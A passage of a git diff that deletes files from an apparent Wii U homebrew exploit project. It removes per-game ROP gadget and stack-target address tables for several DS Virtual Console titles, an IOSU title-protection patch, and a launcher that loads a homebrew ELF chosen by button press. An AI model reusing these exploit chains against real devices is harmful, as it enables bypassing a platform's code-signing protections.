-*link: -%(old_link) -T ./ccd00.ld%s diff --git a/dsrom/iosu_patcher/titleprot2/source/crt0.s b/dsrom/iosu_patcher/titleprot2/source/crt0.s deleted file mode 100644 index 953d345..0000000 --- a/dsrom/iosu_patcher/titleprot2/source/crt0.s +++ /dev/null @@ -1,24 +0,0 @@ -.section ".init" -.thumb -.syntax unified - -.globl _start - -_start: - ldr r0, [r4,#0x10] - ldr r1, =#0x00050000 - cmp r0, r1 - bne exit_ok - ldr r0, [r4,#0x14] - ldr r1, =#0x00000000 @will be written in by CBHC - cmp r0, r1 - bne exit_ok - @return our error message - ldr r0, =#0x99999999 - ldr r3, =#(0x050146A4+1) - bx r3 -exit_ok: - @original code - lsrs r2, r3, #0x10 - lsls r3, r2, #0x10 - bx lr diff --git a/dsrom/iosu_patcher/types.h b/dsrom/iosu_patcher/types.h deleted file mode 100644 index 828591e..0000000 --- a/dsrom/iosu_patcher/types.h +++ /dev/null @@ -1,20 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - -typedef unsigned long long uint64_t; -typedef long long int64_t; -typedef unsigned int uint32_t; -typedef int int32_t; -typedef unsigned short uint16_t; -typedef short int16_t; -typedef unsigned char uint8_t; -typedef char int8_t; - -typedef uint32_t size_t; - -typedef _Bool bool; -#define true 1 -#define false 0 -#define null 0 - -#endif /* TYPES_H */ diff --git a/dsrom/kirby_defs.s b/dsrom/kirby_defs.s deleted file mode 100644 index b81d90d..0000000 --- a/dsrom/kirby_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x10796964-0xB8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C8C938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x1643F200) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02207084) -BCTRL equ (RPX_OFFSET + 0x02206FBC) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A3610) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A323C) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020ACA38) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02179168) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02277B44) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018908) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AEA50) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F4A8) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02082DC0) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205788C) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018990) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x021492A4) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020240EC) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x022219E8) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02221E04) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x02221894) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006CC8) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FB1C) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x02220D4C) -_START_EXIT equ (RPX_OFFSET + 0x0202693C) diff --git a/dsrom/kirbymassattack_defs.s b/dsrom/kirbymassattack_defs.s deleted file mode 100644 index 8fb407d..0000000 --- a/dsrom/kirbymassattack_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1079A3E4-0xC0) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C90938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16444500) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x0204AE04) -BCTRL equ (RPX_OFFSET + 0x02003D2C) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020AA490) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020AA068) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02001A8C) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x0217FFE8) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x0227F898) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020187E4) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020B58D0) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F358) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x020883B0) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205C700) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x0201886C) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x02150124) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020241C8) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x022296A0) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02229ABC) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x0222954C) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006B60) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FC30) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x02229190) -_START_EXIT equ (RPX_OFFSET + 0x020262EC) diff --git a/dsrom/mariokartds_defs.s b/dsrom/mariokartds_defs.s deleted file mode 100644 index c1d57f8..0000000 --- a/dsrom/mariokartds_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1077870C-0xB0) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10A77038) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16229400) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x022031F8) -BCTRL equ (RPX_OFFSET + 0x02203130) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A04C8) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A00A0) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02005AB8) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02175AE8) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x022740A8) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02017F88) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AB88C) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200EB28) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x020809E4) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x02054DCC) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018010) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x02145D64) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02023700) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x0221E0B8) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x0221E4D4) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x0221DF64) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006944) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201F138) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x0221D434) -_START_EXIT equ (RPX_OFFSET + 0x02025F48) diff --git a/dsrom/masterofdisguise_defs.s b/dsrom/masterofdisguise_defs.s deleted file mode 100644 index 34abd19..0000000 --- a/dsrom/masterofdisguise_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1079B924-0xB8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C91938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16444200) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x020645EC) -BCTRL equ (RPX_OFFSET + 0x02004158) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A3F34) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A3B0C) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0200106C) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02179A8C) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02278460) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018908) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AF374) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F4A8) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x020836A8) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x02057944) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018990) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x02149BC8) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020240EC) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x02222304) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02222720) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x022221B0) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006CC8) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FB1C) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x02221670) -_START_EXIT equ (RPX_OFFSET + 0x0202699C) diff --git a/dsrom/newsmb_eur_defs.s b/dsrom/newsmb_eur_defs.s deleted file mode 100644 index b666891..0000000 --- a/dsrom/newsmb_eur_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1077860C-0xB0) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10A77038) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16229800) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x022031F8) -BCTRL equ (RPX_OFFSET + 0x02203130) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A04C8) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A00A0) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02005AB8) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02175AE8) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x022740A8) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02017F88) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AB88C) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200EB28) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x020809E4) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x02054DCC) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018010) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x02145D64) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02023700) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x0221E0B8) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x0221E4D4) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x0221DF64) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006944) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201F138) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x0221D434) -_START_EXIT equ (RPX_OFFSET + 0x02025F48) diff --git a/dsrom/option_select/Makefile b/dsrom/option_select/Makefile deleted file mode 100644 index ae0c1e8..0000000 --- a/dsrom/option_select/Makefile +++ /dev/null @@ -1,32 +0,0 @@ -PATH := $(DEVKITPPC)/bin:$(PATH) -PREFIX ?= powerpc-eabi- -CC = $(PREFIX)gcc -AS = $(PREFIX)gcc -CFLAGS = -std=gnu99 -O3 -nostdinc -fno-builtin -I$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0/include -I$(DEVKITPPC)/powerpc-eabi/include -ASFLAGS = -mregnames -x assembler-with-cpp -LD = $(PREFIX)ld -OBJCOPY = $(PREFIX)objcopy -LDFLAGS=-Ttext 1808000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -L$(DEVKITPPC)/powerpc-eabi/lib -lgcc -lc -OBJDUMP ?= $(PREFIX)objdump -project := . -root := $(CURDIR) -build := $(root)/bin - -FIRMWARE = 550 - -all: clean setup main - -setup: - mkdir -p $(root)/bin/ - -main: - $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/main.c - $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S - cp -r $(root)/*.o $(build) - rm $(root)/*.o - $(LD) -o option_select.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map option_select.map - $(OBJCOPY) option_select.elf -S -O binary ../option_select.bin - -clean: - rm -rf $(build) - rm -rf option_select.elf option_select.map diff --git a/dsrom/option_select/coreinit.h b/dsrom/option_select/coreinit.h deleted file mode 100644 index cf9943e..0000000 --- a/dsrom/option_select/coreinit.h +++ /dev/null @@ -1,31 +0,0 @@ -//Taken from libwiius coreinit.h - -#ifndef COREINIT_H -#define COREINIT_H - -#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) -#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) -#define OSFatal ((void (*)(char* msg))0x01031618) -#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) - -typedef struct OSContext -{ - /* OSContext identifier */ - uint32_t tag1; - uint32_t tag2; - - /* GPRs */ - uint32_t gpr[32]; - - /* Special registers */ - uint32_t cr; - uint32_t lr; - uint32_t ctr; - uint32_t xer; - - /* Initial PC and MSR */ - uint32_t srr0; - uint32_t srr1; -} OSContext; - -#endif /* COREINIT_H */ \ No newline at end of file diff --git a/dsrom/option_select/crt0.S b/dsrom/option_select/crt0.S deleted file mode 100644 index 2ff35ce..0000000 --- a/dsrom/option_select/crt0.S +++ /dev/null @@ -1,9 +0,0 @@ - - .extern __main - .globl _start - -_start: - # jump to our main - bl __main - mtlr r3 - blr diff --git a/dsrom/option_select/main.c b/dsrom/option_select/main.c deleted file mode 100644 index 9921c31..0000000 --- a/dsrom/option_select/main.c +++ /dev/null @@ -1,294 +0,0 @@ -/* - * Copyright (C) 2016 FIX94 - * - * This software may be modified and distributed under the terms - * of the MIT license. See the LICENSE file for details. - */ -#include -#include "types.h" -#include "coreinit.h" -#include "../global.h" - -typedef struct -{ - float x,y; -} Vec2D; - -typedef struct -{ - uint16_t x, y; /* Touch coordinates */ - uint16_t touched; /* 1 = Touched, 0 = Not touched */ - uint16_t invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */ -} VPADTPData; - -typedef struct -{ - uint32_t btns_h; /* Held buttons */ - uint32_t btns_d; /* Buttons that are pressed at that instant */ - uint32_t btns_r; /* Released buttons */ - Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */ - char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */ - VPADTPData tpdata; /* Normal touchscreen data */ - VPADTPData tpdata1; /* Modified touchscreen data 1 */ - VPADTPData tpdata2; /* Modified touchscreen data 2 */ - char unknown6a[0xa0 - 0x6a]; - uint8_t volume; - uint8_t battery; /* 0 to 6 */ - uint8_t unk_volume; /* One less than volume */ - char unknowna4[0xac - 0xa4]; -} VPADData; - -#define BUTTON_A 0x8000 -#define BUTTON_B 0x4000 -#define BUTTON_X 0x2000 -#define BUTTON_Y 0x1000 -#define BUTTON_LEFT 0x0800 -#define BUTTON_RIGHT 0x0400 -#define BUTTON_UP 0x0200 -#define BUTTON_DOWN 0x0100 -#define BUTTON_ZL 0x0080 -#define BUTTON_ZR 0x0040 -#define BUTTON_L 0x0020 -#define BUTTON_R 0x0010 -#define BUTTON_PLUS 0x0008 -#define BUTTON_MINUS 0x0004 -#define BUTTON_HOME 0x0002 -#define BUTTON_SYNC 0x0001 - -typedef struct -{ - int val; - char txt[12]; -} config_select; - -static const config_select sel[17] = { - {BUTTON_A,"a="}, - {BUTTON_B,"b="}, - {BUTTON_X,"x="}, - {BUTTON_Y,"y="}, - {BUTTON_LEFT,"left="}, - {BUTTON_RIGHT,"right="}, - {BUTTON_UP,"up="}, - {BUTTON_DOWN,"down="}, - {BUTTON_ZL,"zl="}, - {BUTTON_ZR,"zr="}, - {BUTTON_L,"l="}, - {BUTTON_R,"r="}, - {BUTTON_PLUS,"plus="}, - {BUTTON_MINUS,"minus="}, - {BUTTON_HOME,"home="}, - {BUTTON_SYNC,"sync="}, - {0,"default="}, -}; - -typedef struct -{ - uint32_t flag; - uint32_t permission; - uint32_t owner_id; - uint32_t group_id; - uint32_t size; - uint32_t alloc_size; - uint64_t quota_size; - uint32_t ent_id; - uint64_t ctime; - uint64_t mtime; - uint8_t attributes[48]; -} __attribute__((packed)) FSStat; - -#define MIN(a, b) (((a)>(b))?(b):(a)) - -uint32_t __main(void) -{ - unsigned int coreinit_handle; - OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); - unsigned int *pMEMAllocFromDefaultHeapEx; - unsigned int *pMEMAllocFromDefaultHeap; - unsigned int *pMEMFreeToDefaultHeap; - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx); - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeap", &pMEMAllocFromDefaultHeap); - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap); - void*(*MEMAllocFromDefaultHeapEx)(int size, int align) = (void*)(*pMEMAllocFromDefaultHeapEx); - void*(*MEMAllocFromDefaultHeap)(int size) = (void*)(*pMEMAllocFromDefaultHeap); - void(*MEMFreeToDefaultHeap)(void *ptr) = (void*)(*pMEMFreeToDefaultHeap); - - int launchmode = LAUNCH_HBL; - //default path goes to HBL - strcpy((void*)0xF5E70000,"/vol/external01/wiiu/apps/homebrew_launcher/homebrew_launcher.elf"); - - int iFd = -1; - void *pClient = MEMAllocFromDefaultHeapEx(0x1700,4); - void *pCmd = MEMAllocFromDefaultHeapEx(0xA80,4); - void *pBuffer = NULL; - - void (*DCStoreRange)(void *buffer, uint32_t length); - OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); - - int(*FSInit)(void); - int(*FSAddClientEx)(void *pClient, int unk_zero_param, int errHandling); - int(*FSDelClient)(void *pClient); - void(*FSInitCmdBlock)(void *pCmd); - int(*FSOpenFile)(void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); - int(*FSGetStatFile)(void *pClient, void *pCmd, int fd, void *buffer, int error); - int(*FSReadFile)(void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); - int(*FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling); - - OSDynLoad_FindExport(coreinit_handle, 0, "FSInit", &FSInit); - OSDynLoad_FindExport(coreinit_handle, 0, "FSInitCmdBlock", &FSInitCmdBlock); - OSDynLoad_FindExport(coreinit_handle, 0, "FSAddClientEx", &FSAddClientEx); - OSDynLoad_FindExport(coreinit_handle, 0, "FSDelClient", &FSDelClient); - OSDynLoad_FindExport(coreinit_handle, 0, "FSOpenFile", &FSOpenFile); - OSDynLoad_FindExport(coreinit_handle, 0, "FSGetStatFile", &FSGetStatFile); - OSDynLoad_FindExport(coreinit_handle, 0, "FSReadFile", &FSReadFile); - OSDynLoad_FindExport(coreinit_handle, 0, "FSCloseFile", &FSCloseFile); - - FSInit(); - FSInitCmdBlock(pCmd); - FSAddClientEx(pClient, 0, -1); - FSOpenFile(pClient, pCmd, "/vol/content/config.txt", "r", &iFd, -1); - if(iFd < 0) - goto fileEnd; - FSStat stat; - stat.size = 0; - - FSGetStatFile(pClient, pCmd, iFd, &stat, -1); - - if(stat.size > 0) - { - pBuffer = MEMAllocFromDefaultHeapEx(stat.size+1,0x40); - memset(pBuffer,0,stat.size+1); - } - else - goto fileEnd; - - unsigned int done = 0; - - while(done < stat.size) - { - int readBytes = FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1); - if(readBytes <= 0) { - break; - } - done += readBytes; - } - - unsigned int vpad_handle; - OSDynLoad_Acquire("vpad.rpl", &vpad_handle); - int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error); - OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead); - - char *fList = (char*)pBuffer; - - int error; - VPADData vpad_data; - VPADRead(0, &vpad_data, 1, &error); - char FnameChar[256]; - memset(FnameChar,0,256); - int i; - for(i = 0; i < 17; i++) - { - if((vpad_data.btns_h & sel[i].val) || (sel[i].val == 0)) - { - char *n = strstr(fList,sel[i].txt); - if(n) - { - char *fEnd = NULL; - char *fName = n+strlen(sel[i].txt); - char *fEndR = strchr(fName,'\r'); - char *fEndN = strchr(fName,'\n'); - if(fEndR) - { - if(fEndN && fEndN < fEndR) - fEnd = fEndN; - else - fEnd = fEndR; - } - else if(fEndN) - { - if(fEndR && fEndR < fEndN) - fEnd = fEndR; - else - fEnd = fEndN; - } - else - fEnd = fName+strlen(fName); - if(fEnd && fName < fEnd) - { - int fLen = MIN(fEnd-fName,255); - memcpy(FnameChar, fName, fLen); - 